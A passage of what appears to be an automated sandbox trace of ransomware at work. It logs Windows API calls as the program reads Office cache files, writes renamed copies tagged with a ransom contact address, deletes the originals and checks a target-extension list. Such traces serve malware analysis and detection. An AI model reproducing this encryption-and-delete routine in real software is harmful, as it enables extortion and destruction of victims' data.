nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.846] SetEndOfFile (hFile=0x180) returned 1 [0037.847] CloseHandle (hObject=0x180) returned 1 [0037.847] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.847] SetEndOfFile (hFile=0x17c) returned 1 [0037.849] CloseHandle (hObject=0x17c) returned 1 [0037.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.849] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.849] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.849] lstrlenW (lpString=".doc") returned 4 [0037.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.849] lstrlenW (lpString=".docx") returned 5 [0037.849] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.849] lstrlenW (lpString=".pdf") returned 4 [0037.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.849] lstrlenW (lpString=".xls") returned 4 [0037.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.849] lstrlenW (lpString=".xlsx") returned 5 [0037.849] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.849] lstrlenW (lpString=".ppt") returned 4 [0037.849] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString=".zip") returned 4 [0037.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.850] lstrlenW (lpString=".rar") returned 4 [0037.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString=".bz2") returned 4 [0037.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString=".7z") returned 3 [0037.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString=".dbf") returned 4 [0037.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString=".1cd") returned 4 [0037.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString=".jpg") returned 4 [0037.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.850] lstrlenW (lpString=".doc") returned 4 [0037.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString=".docx") returned 5 [0037.850] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.850] lstrlenW (lpString=".pdf") returned 4 [0037.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString=".xls") returned 4 [0037.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.850] lstrlenW (lpString=".xlsx") returned 5 [0037.850] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.851] lstrlenW (lpString=".ppt") returned 4 [0037.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.851] lstrlenW (lpString=".zip") returned 4 [0037.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.851] lstrlenW (lpString=".rar") returned 4 [0037.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.851] lstrlenW (lpString=".bz2") returned 4 [0037.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.851] lstrlenW (lpString=".7z") returned 3 [0037.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.851] lstrlenW (lpString=".dbf") returned 4 [0037.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.851] lstrlenW (lpString=".1cd") returned 4 [0037.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.851] lstrlenW (lpString=".jpg") returned 4 [0037.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.851] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.851] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0037.851] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.852] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1231) returned 1 [0037.852] CloseHandle (hObject=0x17c) returned 1 [0037.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0037.852] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.853] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.853] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.853] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.853] GetLastError () returned 0x0 [0037.853] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0037.854] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0037.855] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.855] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0037.856] SetEndOfFile (hFile=0x180) returned 1 [0037.856] CloseHandle (hObject=0x180) returned 1 [0037.856] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.856] SetEndOfFile (hFile=0x17c) returned 1 [0037.857] CloseHandle (hObject=0x17c) returned 1 [0037.857] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.858] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 1 [0037.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.858] lstrlenW (lpString=".doc") returned 4 [0037.858] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString=".docx") returned 5 [0037.858] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.858] lstrlenW (lpString=".pdf") returned 4 [0037.858] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString=".xls") returned 4 [0037.858] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString=".xlsx") returned 5 [0037.858] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.858] lstrlenW (lpString=".ppt") returned 4 [0037.858] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.858] lstrlenW (lpString=".zip") returned 4 [0037.858] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.858] lstrlenW (lpString=".rar") returned 4 [0037.858] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString=".bz2") returned 4 [0037.858] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.858] lstrlenW (lpString=".7z") returned 3 [0037.858] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.858] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.858] lstrlenW (lpString=".dbf") returned 4 [0037.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString=".1cd") returned 4 [0037.859] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString=".jpg") returned 4 [0037.859] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString=".doc") returned 4 [0037.859] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString=".docx") returned 5 [0037.859] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0037.859] lstrlenW (lpString=".pdf") returned 4 [0037.859] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString=".xls") returned 4 [0037.859] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString=".xlsx") returned 5 [0037.859] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0037.859] lstrlenW (lpString=".ppt") returned 4 [0037.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString=".zip") returned 4 [0037.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.859] lstrlenW (lpString=".rar") returned 4 [0037.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString=".bz2") returned 4 [0037.859] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.859] lstrlenW (lpString=".7z") returned 3 [0037.859] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.859] lstrlenW (lpString=".dbf") returned 4 [0037.859] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.860] lstrlenW (lpString=".1cd") returned 4 [0037.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0037.860] lstrlenW (lpString=".jpg") returned 4 [0037.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.860] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.860] lstrlenW (lpString="Setup.xml") returned 9 [0037.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.860] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1852) returned 1 [0037.860] CloseHandle (hObject=0x17c) returned 1 [0037.860] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.860] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.860] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.860] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.861] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.861] GetLastError () returned 0x0 [0037.861] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x73c, lpOverlapped=0x0) returned 1 [0037.862] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x740, lpOverlapped=0x0) returned 1 [0037.863] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.863] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.863] SetEndOfFile (hFile=0x180) returned 1 [0037.864] CloseHandle (hObject=0x180) returned 1 [0037.864] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.864] SetEndOfFile (hFile=0x17c) returned 1 [0037.865] CloseHandle (hObject=0x17c) returned 1 [0037.865] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0037.865] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.865] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.866] lstrlenW (lpString=".doc") returned 4 [0037.866] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString=".docx") returned 5 [0037.866] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.866] lstrlenW (lpString=".pdf") returned 4 [0037.866] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString=".xls") returned 4 [0037.866] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString=".xlsx") returned 5 [0037.866] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.866] lstrlenW (lpString=".ppt") returned 4 [0037.866] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.866] lstrlenW (lpString=".zip") returned 4 [0037.866] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.866] lstrlenW (lpString=".rar") returned 4 [0037.866] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString=".bz2") returned 4 [0037.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString=".7z") returned 3 [0037.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.866] lstrlenW (lpString=".dbf") returned 4 [0037.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.866] lstrlenW (lpString=".1cd") returned 4 [0037.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.866] lstrlenW (lpString=".jpg") returned 4 [0037.866] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.866] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString=".doc") returned 4 [0037.867] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString=".docx") returned 5 [0037.867] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.867] lstrlenW (lpString=".pdf") returned 4 [0037.867] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString=".xls") returned 4 [0037.867] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString=".xlsx") returned 5 [0037.867] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.867] lstrlenW (lpString=".ppt") returned 4 [0037.867] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString=".zip") returned 4 [0037.867] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.867] lstrlenW (lpString=".rar") returned 4 [0037.867] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString=".bz2") returned 4 [0037.867] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString=".7z") returned 3 [0037.867] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString=".dbf") returned 4 [0037.867] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString=".1cd") returned 4 [0037.867] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.867] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.867] lstrlenW (lpString=".jpg") returned 4 [0037.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.868] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0037.868] lstrlenW (lpString="Setup.xml") returned 9 [0037.868] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.868] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6241) returned 1 [0037.869] CloseHandle (hObject=0x17c) returned 1 [0037.869] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0037.869] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0037.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0037.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.869] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0037.871] GetLastError () returned 0x0 [0037.871] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x1861, lpOverlapped=0x0) returned 1 [0038.127] WriteFile (in: hFile=0x180, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0038.612] ReadFile (in: hFile=0x17c, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, 